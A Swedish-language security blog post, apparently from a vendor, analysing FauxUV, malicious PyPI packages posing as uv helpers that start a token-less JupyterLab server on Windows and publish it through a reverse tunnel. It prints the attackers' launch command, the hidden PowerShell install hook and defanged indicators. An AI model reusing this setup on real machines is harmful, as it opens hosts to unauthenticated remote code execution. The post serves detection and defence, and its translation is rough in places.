FauxUV: Falska PyPI uv-paket öppnar Jupyter för webben

FauxUV: falska PyPI uv-hjälpare som öppnar en oautentiserad Jupyter-server mot internet

TL; DR

Ett kluster av PyPI-paket lånade namnet uv, den snabba, enormt populära Rust-baserade Python-pakethanteraren, för att utge sig för att vara UV-hjälpare. De levererar nästan ingen riktig funktionalitet. Vad de istället har med sig är en Windows-nyttolast som står emot en JupyterLab-server med autentisering avstängd och publicerar den i senare versioner till det offentliga internet via en omvänd tunnel.

Det är hela historien i en rad: ett betrott verktygs namn som lockbete och JupyterLab som motor för fjärrkodexekvering. En Jupyter-server kör all kod du skriver in i en inteebook cell; en som startas med en tom token och är bunden till varje nätverksgränssnitt är en öppen tolk som alla som kan nå porten kan köra.

Vi följer klustret som FauxUVDe två paket som granskats är moon-uv (0.0.1-0.0.16) och my-magic-uv-helper (0.0.1), publicerad av samma operatör och live på PyPI vid tidpunkten för analysen.

EkosystemPyPI
Paketmoon-uv (0.0.1-0.0.16), my-magic-uv-helper Lagring
PlattformsinriktadWindows
KärnbeteendeOautentiserad JupyterLab-server, publicerad till internet via en omvänd tunnel
Legitima verktyg missbrukasUV, JupyterLab, Cloudflared, Pinggy

Lockelsen: ett namn du redan litar på

uv är ett av de mest installerade Python-verktygen under de senaste två åren, så "en hjälpreda för uv” är ett paket som en utvecklare installerar utan att tveka. FauxUV lägger all sin trovärdighet på det namnet. Paketen omsluter verklig uv installationsprogram från Astral — URL:erna i nyttolasten pekar på riktiga, välrenommerade webbhotell — så en snabb blick ser inget annat än pålitliga referenser. Inget av paketen lägger faktiskt till uv funktionalitet; namnet är hela förklädnaden.

JupyterLab som RCE-motor

Nyttolastens mittpunkt är en startanordning som startar JupyterLab med varje skyddsräcke borttaget:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Varje flagga tar bort ett skydd, och det levererade skriftspråket kommenterar dem till och med (på originalspråket på kinesiska): den tomma symbolen "stänger av lösenords- och tokenkontroller — vem som helst kan ansluta." jupyter lab är en legitim datavetenskaplig IDE, men inte enebook cell exekverar godtycklig kod av design. Konfigurerad på detta sätt och bunden till 0.0.0.0, den slutar vara en IDE och blir ett oautentiserat fjärrskal på värden — ingen anpassad binärfil för skadlig kod krävs, bara ett vanligt verktyg som pekar åt fel håll.

Två stödjande delar gör det åtkomligt och repeterbart:

  • En tyst installationstrigger. Tidiga versioner kör PowerShell med -Kringgående körningspolicy direkt från setup.py on pip installera, i bakgrunden med fel undertryckta så pip ser normalt ut. Senare versioner flyttar samma primitiv till en pip-uv kommandoradsverktyget — och ta bort den automatiska körningen vid installation helt och hållet.
  • En offentlig omvänd tunnel. En server på 0.0.0.0 är fortfarande bara nåbar av värdar som kan dirigera till maskinen. En paketerad modul öppnar en [Pinggy](https://pinggy.io/) SSH-omvänd tunnel som vidarebefordrar den lokala Jupyter-porten till en publik adress, vilket tar bort den begränsningen. Det levererade skriptet har också – kommenterat – en alternativ sökväg med Cloudflares molnutbländande och en netsh port-proxy till en Linode IP, som dokumenterar samma mål genom olika infrastrukturer.

Sammanfattningsvis: installera paketet, och en Windows-värd kör ett lösenordsfritt JupyterLab och publicerar det på det öppna internet.

Hur FauxUV utvecklades

FauxUVs versioner levererades i snabb följd, och nyttolastens utlösningspunkt rörde sig över dem – en påminnelse om att en flaggad version sällan berättar hela historien om en paketlinje.

Etapp versioner Trigger Vad det tillför
Installationskrok moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py vid pip-installation uv install + PATH prepend
CLI-körning moon-uv 0.0.5-0.0.13 pip-uv kommando den lösenordsfria JupyterLab-startaren
Tunnel moon-uv 0.0.14-0.0.16 pip-uv kommando en aktiv Pinggy-omvänd tunnel

Det är anmärkningsvärt att automatisk körning vid installationstid var avlägsnas i de senare, mer kapabla versionerna — så en skanner som endast är nyckelad på livscykeln hooks skulle poängsätta de nyare utgåvorna som mindre riskabelt, rakt bakvänt.

Indikatorer för kompromiss

Bekräftad genom att läsa paketets källkod; slutpunkter markerade kommenterade finns i filerna men körs inte av den analyserade versionen. Nätverksindikatorer är deaktiverade.

Typ Indikator
Installera kommando powershell -ExecutionPolicy Bypass hämtar det äkta UV-installationsprogrammet vid pip-installationstillfället
JupyterLab-flaggor --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Omvänd tunnel (aktiv) free[.]pinggy[.]io:443 vidarebefordran lokalt 127.0.0.1:8888
Tunnelvärd (kommenterad) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (kommenterad) 45[.]79[.]134[.]161 (Linode) via netsh port-proxy
Persistens förbereder sig %USERPROFILE%\.local\bin till användarens PATH

Beteendesignaler värda att uppmärksamma, oberoende av exakt dessa strängar: a pip installera som leker powershell - Kringgå exekveringspolicyvilken som helst jupyter lansera kombination token=”” med –ip=0.0.0.0och utgående SSH till *.pinggy.io från en utvecklare eller CI-maskin.

Observerat beteende och ursprung

De två paketen delar en författare och en metod: ett betrott verktygs namn, endast Windows-gating, felundertryckt bakgrundskörning och beroende av välrenommerade verktyg så att en snabb titt bara ser välrenommerade URL:er. Källkoden innehåller kommentarer på kinesiska som tydligt beskriver de säkerhetsrelevanta flaggorna; vi rapporterar dessa som observerbara uttalanden i filen, inte som ett påstående om motiv. tillåt_ursprung värde och ett colab.bat filnamnet ekar de informella arbetsflödena "dela min lokala runtime" som cirkulerar för Google Colab. Oavsett ursprung är det paketerade resultatet detsamma.

Påverkan och vägledning för försvarare

Vem exponeras för FauxUV? Windows-utvecklare och CI-användare som pip installera ett av dessa paket. Ett lösenordsfritt JupyterLab på 0.0.0.0 är fjärrkodkörning för alla som kan nå porten; tunneln tar bort gränsen för "vem som kan nå den". Servern körs som den installerande användaren och ärver den användarens filer, tokens och molnuppgifter.

Varför det är lätt att missa. Varje nätverkssträng pekar på en pålitlig värd — Astral, JupyterLab, molnutbländande, Pinggy, Colab. Det finns ingen binärfil för skadlig kod att hasha och ingen obfuskerad blob att avkoda. Ryktesbaserad och signaturbaserad skanning underskattar båda detta, vilket är anledningen till att beteendefrågan — vad gör maskinen när man installerar det här paketet? — är den som fångar den.

Vägledning:

  • Hantera all installationstid powershell - Kringgå exekveringspolicy som en build-breaking-signal, oavsett vilken URL den hämtar.
  • Varning på jupyter lanserades med en tom token och –ip=0.0.0.0; den kombinationen ska aldrig förekomma på en arbetsstation eller löpare.
  • Övervaka utgående SSH till tunnelleverantörer (*.pinggy.io, *.trycloudflare.com) från utvecklare och CI-miljöer.
  • installera uv från [dess officiella källa](https://docs.astral.sh/uv/) och var skeptisk till tredjeparts"hjälppaket" som omsluter ett verktyg som redan är enkelt att installera.
  • Fäst och granska beroenden vid uppgradering — en paketrad kan utöka funktioner version för version.
sca-tools-programvara-verktyg-för-kompositionsanalys
Prioritera, åtgärda och säkra dina programvarurisker
Skaffa ditt gratiskonto.
Inga kreditkort krävs.

Säkra din programvaruutveckling och leverans

med Xygeni-produktsviten